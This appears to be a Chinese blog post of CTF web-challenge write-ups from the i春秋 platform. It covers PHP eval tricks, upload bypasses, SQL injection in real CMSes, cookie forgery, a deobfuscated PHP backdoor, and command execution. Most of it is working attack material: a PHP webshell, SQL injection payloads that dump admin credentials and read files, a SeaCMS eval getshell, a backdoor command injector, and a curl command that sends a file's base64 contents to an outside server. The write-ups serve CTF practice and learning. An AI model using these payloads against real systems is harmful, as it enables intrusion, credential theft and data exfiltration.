跳到主要内容
  1. Posts/

i 春秋 Web 练习记录

i 春秋上的题都是比赛真题,所以会比较有意思,也更复杂一些。

爆破 - 1 #

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a)){
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

要求参数 hello 为纯字母,又看到 eval(var_dump($$a)); 语句,可以想到使用 $GLOBALS 打印出所有变量,payload:

?hello=GLOBALS

等等,好像没爆破啊?感觉是非预期解。

爆破 - 2 #

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
show_source(__FILE__);

提示 flag 不在变量中,那么只能直接读 flag.php 文件了,payload:

?hello=file('flag.php')

另一种 payload 则类似注入:

?hello=);show_source(‘flag.php’);//

爆破 - 3 #

<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

首先如果 cookie 中不设置 nums 会给 whoami 设置默认值 ea,且 session 只能维持 120ms,所以应该需要用脚本跑。

接下来,如果 whoami 和传入的 value 相同,且 value 的 MD5 值子串为 0,那么 nums 就加 1,whoami 更新为两个新的随机字母。后一个条件可以很容易地用数组绕过。

我们尝试传入 value=ea,果然显示了 whoami 的下一个值。脚本:

import requests

url = 'http://4451e735c9e046bcb09a4404756ca952c586da682cfe47b9.changame.ichunqiu.com/?value[]=ea'

ss = requests.session()
r = ss.get(url)

for i in range(10):
  r = ss.get(url[:-2] + r.text[0:2])
  print(r.text[:50])

需要注意的是所有请求都要维持在同一 session 下。

这题终于有点爆破的意思了。

Upload #

尝试上传 php 一句话木马,发现过滤了 <?php,对前者利用 <script> 绕过,后者则大写绕过。payload:

<script language="PHP">
  eval($_POST['ant']);
</script>

上传 getshell,在上级目录得到 flag.php

Code #

题目链接中含有 ?jpg=hei.jpg,猜测可能可以通过这个读文件,尝试 ?jpg=index.php,F12 得到 base64 后的源代码,解码:

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*
 * Can you find the flag file?
 *
 */

?>

注意这里会对 file 进行过滤,将非数字 / 字母删除,并将 config 换成 _,但是我们并不知道我们要读的文件是什么。

这时可以注意到注释:Created by PhpStorm,猜想是 .idea 泄漏,因此访问 /.idea/workspace.xml,可以发现文件 fl3g_ichuqiu.php。由于 _ 不是数字或字母,我们应用上述规则访问 fl3gconfigichuqiu.php

index.php?jpg=fl3gconfigichuqiu.php

解码得到:

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars ='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++)    {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
    }
    $txt = $tmp;
    $rnd=random(4);
    $key=md5($rnd.$key);
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];
    }
    return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $txt = substr($txt,4);
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username =='system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "╮(╯▽╰)╭";
}
?>

先不管加解密过程,只看最后几行主程序:将 cookie 中的 user 通过 key 解密,如果得到明文为 system 则成功,否则将返回 guest 经过 key 加密后的密文。显然后者是我们获得 key 值的关键。

然后关注加密过程:先将每个字符的 ASCII 码加 10 得到新的 txt,随后随机生成 4 个字符 rndkey 拼接后进行 MD5,得到新 key。将新 txt 与新 key 按字符异或得到 ttmp,若 txt 的长度超出 key 则在 key 后继续拼接 key。最后,返回 rnd 拼接上 ttmp 后的 base64 值就是密文。

附 python2 脚本(python3 中的 byte 和 str 转换可能导致错误结果):

import requests
import base64

url = 'http://036fb8c596914fd18ad96399893a61dd9da80da355bf450e.changame.ichunqiu.com/fl3g_ichuqiu.php'
cookie = requests.get(url).cookies['user']

txt = base64.b64decode(cookie)
rnd = txt[:4]
ttmp = txt[4:]

key = list('aaaaaa')
guest = list('guest')
system = list('system')

for i in range(5):
  guest[i] = chr(ord(guest[i]) + 10)
for i in range(5):
  key[i] = chr(ord(ttmp[i]) ^ ord(guest[i]))

for i in range(6):
  system[i] = chr(ord(system[i]) + 10)

cookies = []
for c in '1234567890abcdef': # md5
  key[5] = c
  ttnew = ''
  for i in range(6):
    ttnew += chr(ord(key[i]) ^ ord(system[i]))
  cookies.append(base64.b64encode(rnd + ttnew))

for i in cookies:
  cookie = {'user': i}
  r = requests.get(url=url, cookies=cookie)
  print r.text

这题才应该叫爆破。。最后其实是爆破 key 的第 6 位才出的结果。

YeserCMS #

进入 CMS 乱点一波发现是从 cmseasy,网上查到了 无限制报错注入漏洞

仿照漏洞 payload 来进行注入,POST 数据:

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(updatexml(1,concat(0x7e,mid((select group_concat(concat(database())) ),1,32),0x7e),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

得到数据库名 Yeser

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,32),0x7e),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

这里由于长度无法显示所有表,可以修改 1,321 来查看后续表,我们需要的是 yesercms_user

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='yesercms_user'),1,32),0x7e),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

这里也会有许多列,我们需要的是 usernamepassword

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(updatexml(1,concat(0x7e,mid((select concat(username,password) from yesercms_user),1,32),0x7e),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

这里的 password 显示不全,同样修改 1,321 来查看完整的 MD5 值:ff512d4240cbbdeafada404677ccbe61。解密得到密码:Yeser231。登录并进入后台管理页面。

管理页面内容很多,但是都没有什么注入点。最终,在 模板->当前模板编辑 中发现,编辑模板时会先读取相应的文件。因此我们任选一个文件,点击 编辑 并抓包,将唯一的参数 id 修改为想读取的文件。经测试,这里应该是 ../../flag.php

XSS 平台 #

尝试注入无果,构造非法参数 pass=bbb&email[]=aaa 得到报错信息,其中有一行:

File "/var/www/html/rtiny/login.py", line 20, in post

结合题目名,得知这是使用 RTiny 编写的 XSS 平台,项目地址在 这里。其中,rtiny/lock.py 存在 SQL 注入漏洞,post 方法中对 username 没有任何过滤:

#!/usr/bin/env python
# -*- coding:utf-8 -*-

__author__ = 'r0ker'
import tornado.web
from function import md5
import db
from config import URL


class LockHandler(tornado.web.RequestHandler):
    def get(self):
        self.set_secure_cookie("lock",'1')
        self.render("lock.html")

    def post(self):
        username = self.get_secure_cookie("username") or ''
        passwd = md5(self.get_argument('password',''))
        row = db.ct("manager", "*", "username='"+ username +"'and password='"+ passwd +"'")
        if row:
            self.set_secure_cookie("lock", "0")
            self.redirect("http://" + URL)
        else:
            self.redirect("http://" + URL + "/lock")

set_secure_cookie 方法来自 tornado,该方法使用一个 cookie_secret 来加密 cookie。我们可以在 index.py 中发现这个 cookie_secret

settings = {
    "static_path": os.path.join(os.path.dirname(__file__), "themes/static"),
    "template_path": os.path.join(os.path.dirname(__file__), "themes"),
    "cookie_secret": "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
    "login_url": "/login",
}

所以,我们在注入的时候,只需要将 payload 用 cookie_secret 加密即可。借助 tornado 写个脚本:

import tornado.web
import tornado.ioloop

settings = {
  'cookie_secret': 'M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc='
}

class MainHandler(tornado.web.RequestHandler):
  def get(self):
    self.write('aaa')
    # self.set_secure_cookie('username', "' and updatexml(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#")
    # self.set_secure_cookie('username', "' and updatexml(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='manager'),0x7e),1)#")
    # self.set_secure_cookie('username', "' and updatexml(1,concat(0x7e, (select group_concat(username,'||',password,'||',email) from manager),0x7e),1)#")
    self.set_secure_cookie('username', "' and updatexml(1,concat(0x7e, mid((select group_concat(username,'||',password,'||',email) from manager),30,40),0x7e),1)#")
    self.write(self.get_secure_cookie('username'))

def makeapp():
  return tornado.web.Application([
    (r'/index', MainHandler),
  ], **settings)

app = makeapp()
app.listen(8089)
tornado.ioloop.IOLoop.instance().start()

浏览器访问本机 8089 端口,在返回头 Set-Cookie 中得到加密后的注入语句,带着这个 cookie 访问网页的 /lock(而不是 /login)。在爆用户名、密码和邮箱时,显示长度有限制,因此需要分两次用 mid 截取,最终得到用户名、密码和邮箱为:

ichuqiu||318a61264482e503090facfc4337207f||545

密码经过 MD5 解密得到:Myxss623。登录在后台发现 f13g_ls_here.txt 文件,继续通过注入读取该文件。将代码中 set_secure_cookie 的第二个参数改为:

"' and updatexml(1,concat(0x7e, (select load_file('/var/www/html/fl3g_ls_here.txt')),0x7e),1)#"

然后故技重施,由于长度限制只得到一部分 flag,再修改 payload:

"' and updatexml(1,concat(0x7e, mid((select load_file('/var/www/html/f13g_ls_here.txt')),30,40),0x7e),1)#"

即可得到第二部分。

再见 CMS #

根据登录页面页脚可以判断出该 CMS 为齐博 CMS。 漏洞参考,很巧妙地利用了转义进行 SQL 注入。

根据参考的文章,先注册一个用户,然后去会员中心修改个人信息,可以看到表单中每一项对应什么参数。然后构造 payload:

/member/userinfo.php?job=edit&step=2

POST 数据:

truename=xxxx%0000&Limitword[000]=&email=123456@qq.com&provinceid=,address=(select database()) where uid=3#

首先 uid 对应自己账户的 uid,在个人信息处可以在 url 中看到。注入的具体原理参考 “漏洞参考” 文章,注入点是参数 provinceid,注意不是 address

这样可以在个人信息页面的 “联系地址” 一栏得到数据库名 blog。接下来爆表名:

truename=xxxx%0000&Limitword[000]=&email=123456@qq.com&provinceid=,address=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where uid=3#

我们关心的是表 admin。爆列名,注意单双引号会被转义所以不能使用,可以用十六进制绕过:

truename=xxxx%0000&Limitword[000]=&email=123456@qq.com&provinceid=,address=(select group_concat(column_name) from information_schema.columns where table_name=0x61646d696e) where uid=3#

爆用户名和密码:

truename=xxxx%0000&Limitword[000]=&email=123456@qq.com&provinceid=,address=(select group_concat(username,0x7e,password) from admin) where uid=3#

得到用户名 admin,密码 MD5 2638127c92b79ee7901195382dc08068,普通 MD5 网站解不出来,在 https://hashkiller.co.uk/Crackerhttp://www.chamd5.org/ 上破解出来是 4b10b488e4c8,但是用这个密码登录不了,可能方向错了吧。

无奈只能扫下目录发现 flag.php,然后利用 SQL 读文件:

truename=xxxx%0000&Limitword[000]=&email=123456@qq.com&provinceid=,address=(select load_file(0x2f7661722f7777772f68746d6c2f666c61672e706870)) where uid=3#

发现联系地址这次变成了空白,F12 得到 flag.php 源码从而得到 flag。

SQL #

过滤了很多关键字,绕过技巧是用 <> 来分割:

id=1 o<>rder by 1

发现 by 4 的时候无回显但 by 3 的时候有,说明共 3 列。

id=1 union se<>lect 1,2,3

得到回显 2。接下来正常注入:

id=1 union se<>lect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
-- info, users
id=1 union se<>lect 1,group_concat(column_name),3 from information_schema.columns where table_name='info'
-- id,title,flAg_T5ZNdrm
id=1 union se<>lect 1,flAg_T5ZNdrm,3 from info
-- flag{...}

SQLi #

F12 发现 login.php?id=1,但是这里好像注入不了。

回到前页,发现页面是由 index.php 302 跳转来的,因此检查一下对于 index.php 的请求的返回头,发现了特殊字段 page,得到真正的登陆页面 l0gin.php?id=1

这个 id 可以注入,但是存在逗号截断,因此需要在没有逗号的情况下注入,这里很容易想到 join。先 order by 注入,得到列数为 2。

id=1' order by 3%23

尝试一下 join:

id=1'union select * from (select 1)a join (select 2)b%23

发现还是正常返回 1,flag,因为网页上限制了只能显示一条记录,而 id=1 的查询是成功的,因此后面我们 union 的结果没有回显出来。因此只需要让 id=3 使得查询不到 username 即可。

最后正常注入:

id=3'union select * from (select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema=database())b%23

id=3'union select * from (select 1)a join (select group_concat(column_name) from information_schema.columns where table_name='users')b%23

id=3'union select * from (select 1)a join (select flag_9c861b688330 from users)b%23

123 #

F12 得到 user.php 和用户默认密码,下载 user.php.bak,打开得到一堆用户名。Intruder 用 BatteringRam 模式爆破用户名密码,登陆后 F12 得到:

<!-- 存在漏洞需要去掉  -->
<!-- <form action=""method="POST"enctype="multipart/form-data">
    <input type="file"name="file"/>
    <input type="submit"name="submit"value=" 上传 "/>
</form> -->

这里猜测是文件上传漏洞。恢复前端代码后随便选个文件上传,发现只能传图片文件,因此修改 Content-Type 和文件内容。Content-Type 设置为 image/png,文件内容中写入 PNG 文件头 PNG。然后将文件名改为 1.png.php,但是提示 文件名不能包含 php

因此尝试 1.png.pht 绕过,得到页面 view.php。只有一个提示 file?,尝试传入 GET 参数 file=flag,得到提示 filter 'flag',于是双写绕过。

Test #

海洋 CMS 很老的漏洞, 漏洞详情

直接蚁剑连接 /search.php?searchtype=5&tid=&area=eval($_POST[1]) 来 getshell。但是没有找到 flag。

/var/www/html/data/common.inc.php 找到数据库配置:

<?php
// 数据库连接信息
$cfg_dbhost = '127.0.0.1';
$cfg_dbname = 'seacms';
$cfg_dbuser = 'sea_user';
$cfg_dbpwd = '46e06533407e';
$cfg_dbprefix = 'sea_';
$cfg_db_language = 'utf8';
?>

在蚁剑中选择 数据操作,然后输入上面的配置信息,可以在 seacms 数据库的 flag_140ad2e0d8cb 表中执行 SQL 语句得到 flag。

Login #

F12 中提示账户密码都为 test1,登录后在响应头中发现 show 字段,把 0 在请求头改成 1 试试,发现注释中返回了源码。

<?php
    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }

        function select($where)
        {
            $sql = mysql_query('select * from user where'.$where);
            return @mysql_fetch_array($sql);
        }
    }

    if(isset($requset['token']))
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        if($login['user'] ==='ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }

?>

这里需要以 ichunqiu 登录,关键就在于那个反序列化的过程。而且,array_merge 合并时,遇到相同的键取最后的那个值。

写个脚本生成需要的 token,然后放在 cookie 里发送就好了。

<?php
  $a = array('user' => 'ichunqiu');
  echo base64_encode(gzcompress(serialize($a)));
?>

Backdoor #

扫目录发现 .git 泄露。上 GitHack 把 .git 下载下来,然后发现需要回退。

值得记录的是 GitHack 好像没能把 .git 下下来,只能下载所有文件,因此我使用了 dvcs ripper 这个工具:

./rip-git.pl -v -u http://1355bb65468a451b9487c15dba117690cff7627b879e42f2.
changame.ichunqiu.com/Challenges/.git/

访问 /Challenges/.git/logs/HEAD 可以查看提交记录,或者也可以 git log 查看。随后回退到之前的版本:

git reset --hard 12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88
cat flag.php

这时可以看到,flag.php 内容变为:

<?php
echo "flag{true_flag_is_in_the_b4ckdo0r.php}";
?>

那么我们继续访问 b4ckdo0r.php,提示要找出其源码。这种一般都存在备份文件里,例如 vim 中的 .swo.swp,逐一尝试得备份文件 .b4ckdo0r.php.swp,用 vim -r 恢复:

<?php
echo "can you find the source code of me?";
/**
 * Signature For Report
 */$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/*
 */$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/*
 */$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/*
 */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/*
 */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/*
 */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/*
 */$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/*
 */$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=strtolower()msubstr(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml(substr()m)mmd5($i.$kf),0,3';/*
 */$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/*
 */$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";strtolower="s)m';/*
 */$y=str_replace('b','','crbebbabte_funcbbtion');/*
 */$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/*
 */$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
 */$v=$y('',$L);$v();/*
 */
?>

这里的代码经过了混淆,我们在代码末尾加上一段代码来进行分析:

echo var_dump($L);
echo $y;
echo $v;

得到原本的核心代码 ($L):

<?php
$kh="4f7f";
$kf="28d7";
function x($t,$k)
{
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0; $i<$l;)
    {
        for($j=0; ($j<$c&&$i<$l); $j++,$i++)
        {
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra)
{
    $u=parse_url($rr);
    parse_str($u["query"],$q);
    $q=array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
    if($q&&$m)
    {
        @session_start();
        $s=&$_SESSION;
        $i=$m[1][0].$m[1][1];
        $h=strtolower(substr(md5($i.$kh),0,3));
        $f=strtolower(substr(md5($i.$kf),0,3));
        $p="";
        for($z=1; $z<count($m[1]); $z++)$p.=$q[$m[2][$z]];
        if(strpos($p,$h)===0)
        {
            $s[$i]="";
            $p=substr($p,3);
        }
        if(array_key_exists($i,$s))
        {
            $s[$i].=$p;
            $e=strpos($s[$i],$f);
            if($e)
            {
                $k=$kh.$kf;
                ob_start();
                //!
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k)));
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

代码的重点在于 Accept-LanguageReferer 和感叹号所在的行,因为可以用 eval 执行代码。

首先 x 函数显然是循环异或。随后仔细阅读 preg_match_all 的正则表达式,发现它将 Accept-Language 分成了 3 部分,m[0] 存每种语言的完整字符串,m[1] 存首字母,m[2] 存语言权重小数点后的数字。

Accept-Language 格式:语言;q=权重,例如 en-US;q=0.5

$i 取的是 $m[1][0].$m[1][1],也就是前两种语言的首字母。$h$f 不难计算,我们假设输入的语言是 zh-CN,zh,那么 $i 就是 zz,计算得到 $h675$fa3e

不过下面的 for 循环有点绕:

for($z=1; $z<count($m[1]); $z++)
  $p.=$q[$m[2][$z]];

$z 指当前是第几种语言,$m[2][$z] 就是该语言权重的小数点后第一位,以这个值为索引取得 Referer 的 url 中 query string 里对应索引的那个参数值拼接到 $p 上。

下面的 if 判断 $p 是不是以 $h 开头 $f 结尾,如果是则进入下面的 eval 函数,我们才能实现命令注入。eval 函数内是一个简单的写逆向函数的过程。

脚本:

<?php
// 照搬
function x($t,$k)
{
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0; $i<$l;)
    {
        for($j=0; ($j<$c&&$i<$l); $j++,$i++)
        {
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}

function inject($cmd) {
    $payload = base64_encode(x(gzcompress($cmd), "4f7f28d7"));
    return "675".$payload."a3e";
}

echo inject('system("ls");');
?>

将得到的字符串放在 Referer 的第一个参数里,设置请求头:

Accept-Language: zh-CN,zh;q=0.0
Referer: http://12.12.12.12/index.php?a=675TPocyB4WLfrhNv1PZOrQMTREimJna3e

得到经过编码的返回值:

TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT

再写脚本解码:

<?php
// 照搬
function x($t,$k)
{
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0; $i<$l;)
    {
        for($j=0; ($j<$c&&$i<$l); $j++,$i++)
        {
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}

function dec($out) {
    return gzuncompress(x(base64_decode($out), '4f7f28d7'));
}

echo dec('TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT');
?>

得到解码后的返回值:

b4ckdo0r.php flag.php index.php robots.txt this_i5_flag.php

然后执行命令 cat this_i5_flag.php,和上面一样的方法编码后发送得到编码后的 flag,再用同样方法解码即可。最后 flag 在页面注释中。

GetFlag #

熟悉的爆破 md5 套路:

import hashlib, sys

for i in range(10**5, 10**8):
    val = hashlib.md5(str(i)).hexdigest()
    if val[:6] == sys.argv[1]:
        print(i)
        break

用户名可以直接注入,密码任意。登录后可以看到三个文件。提示说 flag 在 web 根目录。注意到文件的下载 url 为:

/Challenges/file/download.php?f=a.php

可以尝试下载 flag.php,但是显示 flag{wow!!!but not true}。猜想这里可能不能使用相对路径,换成绝对路径:

/Challenges/file/download.php?f=/var/www/html/Challenges/flag.php

得到源码:

<?php
$f = $_POST['flag'];
$f = str_replace(array('`','$','*','#',':','\\','"',"'",'(',')','.','>'),'', $f);
if((strlen($f) > 13) || (false !== stripos($f,'return')))
{
        die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
         eval("\$spaceone = $f");
}
catch (Exception $e)
{
        return false;
}
if ($spaceone ==='flag'){
    echo file_get_contents("helloctf.php");
}

?>

。。。看似过滤一大堆,实际上直接 POST 提交 flag=flag; 就完了,需要注意的就是最后的分号。

Not Found #

首页直接跳转到不存在的 404.php,在响应头中发现 X-Method: haha 字段。一次尝试 HTTP 方法,当使用 OPTIONS 时,发现响应头中多出了 Location: ?f=1.php 字段。对这个 url 也进行 OPTIONS 请求,得到一段源码:

<?php
    $msg = "not here";
    $msg .= PHP_EOL;
    $msg .="plz trying";
  echo $msg;

直接访问 1.php 发现这就是 1.php 的源码。猜测这个 f 参数的功能就是文件读取,尝试 index.php 发现不允许。最后发现 .htaccess 却可以读:

RewriteEngine On
RewriteBase /
RewriteRule ^8d829d8568e46455104209db5cd9228d.html$ 404.php [L]

因此我们访问这个 html 得到提示,修改 XFF 头,但是无效。因此我们换而修改 client-ip 头为 127.0.0.1 得到 flag。

Vld #

F12 得到提示 index.php.txt,访问得到了一个看不太懂的文件,似乎是 php 的 opcode。耐心分析还是不难理解的,需要三个 GET 参数 flag1, flag2, flag3,分别等于 fvhjjihfcv, gfuyiyhioyf, yugoiiyhi。访问新 url 可以下载到源码。

观察源码发现关键的地方在于:

/* dbmysql.class.php */
public function my_md5($string){
    return md5(substr(md5($string),5,24));
}

public function safe_data($value){
    if(MAGIC_QUOTES_GPC){
        stripcslashes($value);
    }
    return addslashes($value);
}

/* login.php */
$username = $db->safe_data($_POST['username']);
$password = $db->my_md5($_POST['password']);
$number = is_numeric($_POST['number']) ? $_POST['number'] : 1;
$username = trim(str_replace($number,'', $username));
$sql = "select * from"."`".table_name."`"."where username="."'"."$username"."'";

这里可以看到 username 会先被 addslashes,然后其中和 number 相同的部分会被去掉。这样我们就能让 ' 逃过转义,当我们提交 username=%00' 时,会被 addslashes 转义为 \0\',如果 number=0,则其中的 0 会被替换掉变成 \\',此时第二个 \ 被转义,原 SQL 语句变为 where username='\\',成功闭合。

然后就是报错注入,注意语句中不能再出现 0 了:

number=0&username=%00'or updatexml(1,concat(hex(126),(select group_concat(table_name) from information_schema.tables where table_schema=database()),hex(126)),1)#&password=ccc&submit=

number=0&username=%00'or updatexml(1,concat(hex(126),(select flag from flag),hex(126)),1)#&password=ccc&submit=

number=0&username=%00'or updatexml(1,concat(hex(126),substr((select flag from flag),21,99),hex(126)),1)#&password=ccc&submit=

EXEC #

F12 在 html 的 head 标签中发现 editor="vim",显然能下载 .index.php.swp

<?php
/*
flag in flag233.php
*/
 function check($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {
                $digit = ord($number{$i});
                if (($digit>= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
        setcookie('auth','tcp tunnel is forbidden!');
        if(isset($_POST['cmd'])){
                $command=$_POST[cmd];
                $result=exec($command);
                //echo $result;
        }
}else{
        die('no sign');
}
?>

首先需要一个 GET 参数,其值为 11259375 但不能包含 1-9 中的数字。注意到这里的弱比较,可以将该数字转为十六进制,恰好为 0xabcdef,不包含 1-9,因此提交 ?sign=0xabcdef 可以发现 no sign 的提示没有了。

接下来在保留刚才的参数的同时 POST 命令就可以执行了,但是没有回显,猜想是通过 ncflag233.php 反弹到自己的服务器上,并且需要走 UDP,但是最终没有成功。最终采用了 curl 的方法,把文件内容 base64 编码后放在 url 里向服务器发送请求,并在日志中查看 flag。payload:

cmd=data=$(cat flag233.php | base64);curl http://xx.xx.xx.xx?data=$data;

access.log 中即可得到编码后的 flag233.php